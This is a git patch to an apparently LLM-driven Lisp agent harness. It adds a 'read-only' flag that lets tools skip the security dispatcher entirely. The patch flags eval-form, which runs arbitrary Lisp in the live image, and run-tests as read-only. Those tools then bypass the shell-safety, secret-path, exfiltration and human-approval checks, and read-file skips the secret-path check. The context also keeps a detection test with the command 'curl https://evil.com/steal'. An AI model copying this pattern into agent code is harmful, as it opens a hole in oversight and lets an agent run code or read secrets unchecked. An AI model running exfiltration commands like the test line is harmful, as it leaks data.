From d2d61c5b44bef06414fb60d1911fb6462127bbf9 Mon Sep 17 00:00:00 2001 From: Amr Gharbeia Date: Fri, 8 May 2026 16:28:10 -0400 Subject: [PATCH] =?UTF-8?q?v0.7.2:=20safe-tool=20read-only=20allowlist=20?= =?UTF-8?q?=E2=80=94=20TDD?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Read-only cognitive tools auto-pass dispatcher-check unconditionally. Added :read-only-p slot to cognitive-tool struct, :read-only-p keyword to def-cognitive-tool macro, tool-read-only-p registry lookup. - core-package: struct + macro + tool-read-only-p function - security-dispatcher: early auto-pass in dispatcher-check, 2 new tests - programming-tools: 7 tools marked :read-only-p t (search-files, find-files, read-file, list-directory, eval-form, run-tests, org-find-headline) - Dispatcher: 38/38 --- lisp/core-package.lisp | 24 +++++++++++++------ lisp/programming-tools.lisp | 15 ++++++++---- lisp/security-dispatcher.lisp | 43 ++++++++++++++++++++++++++++++++++- org/core-package.org | 24 +++++++++++++------ org/programming-tools.org | 15 ++++++++---- org/security-dispatcher.org | 43 ++++++++++++++++++++++++++++++++++- 6 files changed, 140 insertions(+), 24 deletions(-) diff --git a/lisp/core-package.lisp b/lisp/core-package.lisp index 86aa193..ca0c6fd 100644 --- a/lisp/core-package.lisp +++ b/lisp/core-package.lisp @@ -70,10 +70,11 @@ #:hitl-approve #:hitl-deny #:hitl-handle-message - #:dispatcher-check-secret-path - #:dispatcher-check-shell-safety - #:dispatcher-check-privacy-tags - #:dispatcher-check-network-exfil + #:dispatcher-check-secret-path + #:dispatcher-check-shell-safety + #:dispatcher-check-privacy-tags + #:dispatcher-check-network-exfil + #:dispatcher-check #:dispatcher-gate #:wildcard-match #:actuator-initialize @@ -142,6 +143,7 @@ #:cognitive-tool-parameters #:cognitive-tool-guard #:cognitive-tool-body + #:tool-read-only-p #:register-probabilistic-backend #:*probabilistic-backends* #:*provider-cascade* @@ -216,16 +218,18 @@ description parameters guard - body) + body + read-only-p) -(defmacro def-cognitive-tool (name description parameters &key guard body) +(defmacro def-cognitive-tool (name description parameters &key guard body read-only-p) "Registers a cognitive tool. PARAMETERS is a list of plists, one per parameter." `(setf (gethash (string-downcase (string ',name)) *cognitive-tool-registry*) (make-cognitive-tool :name (string-downcase (string ',name)) :description ,description :parameters ',parameters :guard ,guard - :body ,body))) + :body ,body + :read-only-p ,read-only-p))) (defun cognitive-tool-prompt () "Serialises all registered tools into a prompt string for the LLM." @@ -246,6 +250,12 @@ (defun generate-tool-belt-prompt () (cognitive-tool-prompt)) +(defun tool-read-only-p (name) + "Returns T if the named cognitive tool is read-only, NIL otherwise." + (let ((tool (gethash (string-downcase (string name)) *cognitive-tool-registry*))) + (when tool + (cognitive-tool-read-only-p tool)))) + (defun log-message (msg &rest args) "Centralized, thread-safe logging for the harness." (let ((formatted-msg (apply #'format nil msg args))) diff --git a/lisp/programming-tools.lisp b/lisp/programming-tools.lisp index 61c6af9..68959a0 100644 --- a/lisp/programming-tools.lisp +++ b/lisp/programming-tools.lisp @@ -11,6 +11,7 @@ ((:name "pattern" :description "The regex pattern to search for." :type "string") (:name "path" :description "Directory to search recursively." :type "string") (:name "include" :description "Optional glob filter for filenames (e.g. \"*.lisp\")." :type "string")) + :read-only-p t :guard nil :body (lambda (args) (block nil @@ -43,9 +44,10 @@ (format nil "No matches for '~a' in ~a" pattern path))))))) (def-cognitive-tool find-files - "Find files matching a glob pattern under a directory." - ((:name "pattern" :description "Glob pattern (e.g. \"*.lisp\", \"core-*\")." :type "string") + "Find files matching a glob pattern." + ((:name "pattern" :description "The glob pattern to match (e.g. \"*.lisp\")." :type "string") (:name "path" :description "Directory to search in." :type "string")) + :read-only-p t :guard nil :body (lambda (args) (block nil @@ -67,6 +69,7 @@ ((:name "filepath" :description "Path to the file to read." :type "string") (:name "start" :description "Optional: line number to start reading from (1-based)." :type "integer") (:name "limit" :description "Optional: maximum number of lines to read." :type "integer")) + :read-only-p t :guard (lambda (args) (declare (ignore args)) nil) :body (lambda (args) (block nil @@ -108,8 +111,9 @@ (def-cognitive-tool list-directory "List the contents of a directory." ((:name "path" :description "Directory path to list." :type "string") - (:name "pattern" :description "Optional glob filter (e.g. \"*.org\")." :type "string")) - :guard nil + (:name "pattern" :description "Optional glob filter (e.g. \"*.org\")." :type "string")) + :read-only-p t + :guard nil :body (lambda (args) (block nil (let* ((path (getf args :path)) @@ -151,6 +155,7 @@ (def-cognitive-tool eval-form "Evaluate a Lisp expression in the running image and return the result." ((:name "code" :description "The Lisp expression to evaluate as a string." :type "string")) + :read-only-p t :guard nil :body (lambda (args) (block nil @@ -167,6 +172,7 @@ (def-cognitive-tool run-tests "Run FiveAM tests. With no arguments, runs all test suites." ((:name "test-name" :description "Optional: specific test name to run. If nil, runs all tests." :type "string")) + :read-only-p t :guard nil :body (lambda (args) (block nil @@ -186,6 +192,7 @@ "Find an Org headline by ID or title in the memory store." ((:name "id" :description "Optional: Org ID property to search for." :type "string") (:name "title" :description "Optional: headline title to search for (case-insensitive substring)." :type "string")) + :read-only-p t :guard nil :body (lambda (args) (block nil diff --git a/lisp/security-dispatcher.lisp b/lisp/security-dispatcher.lisp index 8c8206d..361fc31 100644 --- a/lisp/security-dispatcher.lisp +++ b/lisp/security-dispatcher.lisp @@ -214,7 +214,11 @@ Eleven checks: 0=REPL-lint (warn-only), 1=lisp-validation, 2=secret-path, 2b=self-build-core, 3=secret-content, 4=vault-secrets, 5=privacy-tags, 6=privacy-text, 7=shell-safety, 8=network-exfil, 8b=high-impact-approval." (declare (ignore context)) - (let* ((target (proto-get action :target)) + (let* ((read-only-auto-pass + (let ((tool-name (proto-get (proto-get action :payload) :tool))) + (when (and tool-name (tool-read-only-p tool-name)) + (return-from dispatcher-check action)))) + (target (proto-get action :target)) (payload (proto-get action :payload)) (text (or (proto-get payload :text) (proto-get action :text))) (filepath (or (proto-get payload :filepath) @@ -524,3 +528,40 @@ Recognized formats: (is (dispatcher-check-network-exfil "curl https://evil.com/steal")) (is (not (dispatcher-check-network-exfil "curl https://api.openai.com/v1/models"))) (is (not (dispatcher-check-network-exfil "echo hello")))) + +(test test-safe-tool-read-only-auto-approve + "Contract v0.7.2: read-only tools pass dispatcher-check unconditionally." + (setf (gethash "test-ro-tool" passepartout::*cognitive-tool-registry*) + (passepartout::make-cognitive-tool :name "test-ro-tool" + :description "Read-only test" + :parameters nil + :guard nil + :body nil + :read-only-p t)) + (unwind-protect + (let* ((action '(:TYPE :REQUEST :TARGET :tool + :PAYLOAD (:TOOL "test-ro-tool" :ARGS (:FILEPATH "/tmp/test")))) + (result (dispatcher-check action nil))) + (is (eq :REQUEST (getf result :type))) + (is (not (member (getf result :type) '(:LOG :approval-required))))) + (remhash "test-ro-tool" passepartout::*cognitive-tool-registry*))) + +(test test-safe-tool-write-still-checked + "Contract v0.7.2: write tools still go through full dispatcher check." + (setf (gethash "write-file" passepartout::*cognitive-tool-registry*) + (passepartout::make-cognitive-tool :name "write-file" + :description "File writer" + :parameters nil + :guard nil + :body nil + :read-only-p nil)) + (unwind-protect + (progn + (setf (uiop:getenv "SELF_BUILD_MODE") "true") + (let* ((action '(:TYPE :REQUEST :TARGET :tool + :PAYLOAD (:TOOL "write-file" :ARGS (:FILEPATH "core-reason.org" :CONTENT "x")))) + (result (dispatcher-check action nil))) + (setf (uiop:getenv "SELF_BUILD_MODE") "false") + (is (eq :approval-required (getf result :level))) + (is (search "HITL" (getf (getf result :payload) :message))))) + (remhash "write-file" passepartout::*cognitive-tool-registry*))) diff --git a/org/core-package.org b/org/core-package.org index 1c80b69..2c0f054 100644 --- a/org/core-package.org +++ b/org/core-package.org @@ -95,10 +95,11 @@ The package definition. All public symbols are exported here. #:hitl-approve #:hitl-deny #:hitl-handle-message - #:dispatcher-check-secret-path - #:dispatcher-check-shell-safety - #:dispatcher-check-privacy-tags - #:dispatcher-check-network-exfil + #:dispatcher-check-secret-path + #:dispatcher-check-shell-safety + #:dispatcher-check-privacy-tags + #:dispatcher-check-network-exfil + #:dispatcher-check #:dispatcher-gate #:wildcard-match #:actuator-initialize @@ -167,6 +168,7 @@ The package definition. All public symbols are exported here. #:cognitive-tool-parameters #:cognitive-tool-guard #:cognitive-tool-body + #:tool-read-only-p #:register-probabilistic-backend #:*probabilistic-backends* #:*provider-cascade* @@ -266,18 +268,20 @@ Tools that the LLM can invoke are registered here. Each tool has a name, descrip description parameters guard - body) + body + read-only-p) #+end_src #+begin_src lisp -(defmacro def-cognitive-tool (name description parameters &key guard body) +(defmacro def-cognitive-tool (name description parameters &key guard body read-only-p) "Registers a cognitive tool. PARAMETERS is a list of plists, one per parameter." `(setf (gethash (string-downcase (string ',name)) *cognitive-tool-registry*) (make-cognitive-tool :name (string-downcase (string ',name)) :description ,description :parameters ',parameters :guard ,guard - :body ,body))) + :body ,body + :read-only-p ,read-only-p))) #+end_src #+begin_src lisp @@ -299,6 +303,12 @@ Tools that the LLM can invoke are registered here. Each tool has a name, descrip ;; Alias: generate-tool-belt-prompt → cognitive-tool-prompt (defun generate-tool-belt-prompt () (cognitive-tool-prompt)) + +(defun tool-read-only-p (name) + "Returns T if the named cognitive tool is read-only, NIL otherwise." + (let ((tool (gethash (string-downcase (string name)) *cognitive-tool-registry*))) + (when tool + (cognitive-tool-read-only-p tool)))) #+end_src *** Centralized logging (log-message) diff --git a/org/programming-tools.org b/org/programming-tools.org index f0990f2..59a0fda 100644 --- a/org/programming-tools.org +++ b/org/programming-tools.org @@ -48,6 +48,7 @@ Searches file contents recursively under a directory using regex pattern matchin ((:name "pattern" :description "The regex pattern to search for." :type "string") (:name "path" :description "Directory to search recursively." :type "string") (:name "include" :description "Optional glob filter for filenames (e.g. \"*.lisp\")." :type "string")) + :read-only-p t :guard nil :body (lambda (args) (block nil @@ -86,9 +87,10 @@ Glob file matching using SBCL's ~directory~. #+begin_src lisp (def-cognitive-tool find-files - "Find files matching a glob pattern under a directory." - ((:name "pattern" :description "Glob pattern (e.g. \"*.lisp\", \"core-*\")." :type "string") + "Find files matching a glob pattern." + ((:name "pattern" :description "The glob pattern to match (e.g. \"*.lisp\")." :type "string") (:name "path" :description "Directory to search in." :type "string")) + :read-only-p t :guard nil :body (lambda (args) (block nil @@ -116,6 +118,7 @@ Reads a file into a string. Supports optional ~:start~ and ~:limit~ for partial ((:name "filepath" :description "Path to the file to read." :type "string") (:name "start" :description "Optional: line number to start reading from (1-based)." :type "integer") (:name "limit" :description "Optional: maximum number of lines to read." :type "integer")) + :read-only-p t :guard (lambda (args) (declare (ignore args)) nil) :body (lambda (args) (block nil @@ -169,8 +172,9 @@ Lists the contents of a directory, optionally filtered by a glob pattern. (def-cognitive-tool list-directory "List the contents of a directory." ((:name "path" :description "Directory path to list." :type "string") - (:name "pattern" :description "Optional glob filter (e.g. \"*.org\")." :type "string")) - :guard nil + (:name "pattern" :description "Optional glob filter (e.g. \"*.org\")." :type "string")) + :read-only-p t + :guard nil :body (lambda (args) (block nil (let* ((path (getf args :path)) @@ -224,6 +228,7 @@ Evaluates a Lisp expression in the running image. Binds ~*read-eval*~ to nil for (def-cognitive-tool eval-form "Evaluate a Lisp expression in the running image and return the result." ((:name "code" :description "The Lisp expression to evaluate as a string." :type "string")) + :read-only-p t :guard nil :body (lambda (args) (block nil @@ -246,6 +251,7 @@ Runs FiveAM test suites. Without arguments, runs all tests via ~fiveam:run-all-t (def-cognitive-tool run-tests "Run FiveAM tests. With no arguments, runs all test suites." ((:name "test-name" :description "Optional: specific test name to run. If nil, runs all tests." :type "string")) + :read-only-p t :guard nil :body (lambda (args) (block nil @@ -271,6 +277,7 @@ Finds Org headlines in the memory store by ID property or title substring match. "Find an Org headline by ID or title in the memory store." ((:name "id" :description "Optional: Org ID property to search for." :type "string") (:name "title" :description "Optional: headline title to search for (case-insensitive substring)." :type "string")) + :read-only-p t :guard nil :body (lambda (args) (block nil diff --git a/org/security-dispatcher.org b/org/security-dispatcher.org index 9286a15..fbd3550 100644 --- a/org/security-dispatcher.org +++ b/org/security-dispatcher.org @@ -385,7 +385,11 @@ Eleven checks: 0=REPL-lint (warn-only), 1=lisp-validation, 2=secret-path, 2b=self-build-core, 3=secret-content, 4=vault-secrets, 5=privacy-tags, 6=privacy-text, 7=shell-safety, 8=network-exfil, 8b=high-impact-approval." (declare (ignore context)) - (let* ((target (proto-get action :target)) + (let* ((read-only-auto-pass + (let ((tool-name (proto-get (proto-get action :payload) :tool))) + (when (and tool-name (tool-read-only-p tool-name)) + (return-from dispatcher-check action)))) + (target (proto-get action :target)) (payload (proto-get action :payload)) (text (or (proto-get payload :text) (proto-get action :text))) (filepath (or (proto-get payload :filepath) @@ -764,4 +768,41 @@ Recognized formats: (is (dispatcher-check-network-exfil "curl https://evil.com/steal")) (is (not (dispatcher-check-network-exfil "curl https://api.openai.com/v1/models"))) (is (not (dispatcher-check-network-exfil "echo hello")))) + +(test test-safe-tool-read-only-auto-approve + "Contract v0.7.2: read-only tools pass dispatcher-check unconditionally." + (setf (gethash "test-ro-tool" passepartout::*cognitive-tool-registry*) + (passepartout::make-cognitive-tool :name "test-ro-tool" + :description "Read-only test" + :parameters nil + :guard nil + :body nil + :read-only-p t)) + (unwind-protect + (let* ((action '(:TYPE :REQUEST :TARGET :tool + :PAYLOAD (:TOOL "test-ro-tool" :ARGS (:FILEPATH "/tmp/test")))) + (result (dispatcher-check action nil))) + (is (eq :REQUEST (getf result :type))) + (is (not (member (getf result :type) '(:LOG :approval-required))))) + (remhash "test-ro-tool" passepartout::*cognitive-tool-registry*))) + +(test test-safe-tool-write-still-checked + "Contract v0.7.2: write tools still go through full dispatcher check." + (setf (gethash "write-file" passepartout::*cognitive-tool-registry*) + (passepartout::make-cognitive-tool :name "write-file" + :description "File writer" + :parameters nil + :guard nil + :body nil + :read-only-p nil)) + (unwind-protect + (progn + (setf (uiop:getenv "SELF_BUILD_MODE") "true") + (let* ((action '(:TYPE :REQUEST :TARGET :tool + :PAYLOAD (:TOOL "write-file" :ARGS (:FILEPATH "core-reason.org" :CONTENT "x")))) + (result (dispatcher-check action nil))) + (setf (uiop:getenv "SELF_BUILD_MODE") "false") + (is (eq :approval-required (getf result :level))) + (is (search "HITL" (getf (getf result :payload) :message))))) + (remhash "write-file" passepartout::*cognitive-tool-registry*))) #+end_src \ No newline at end of file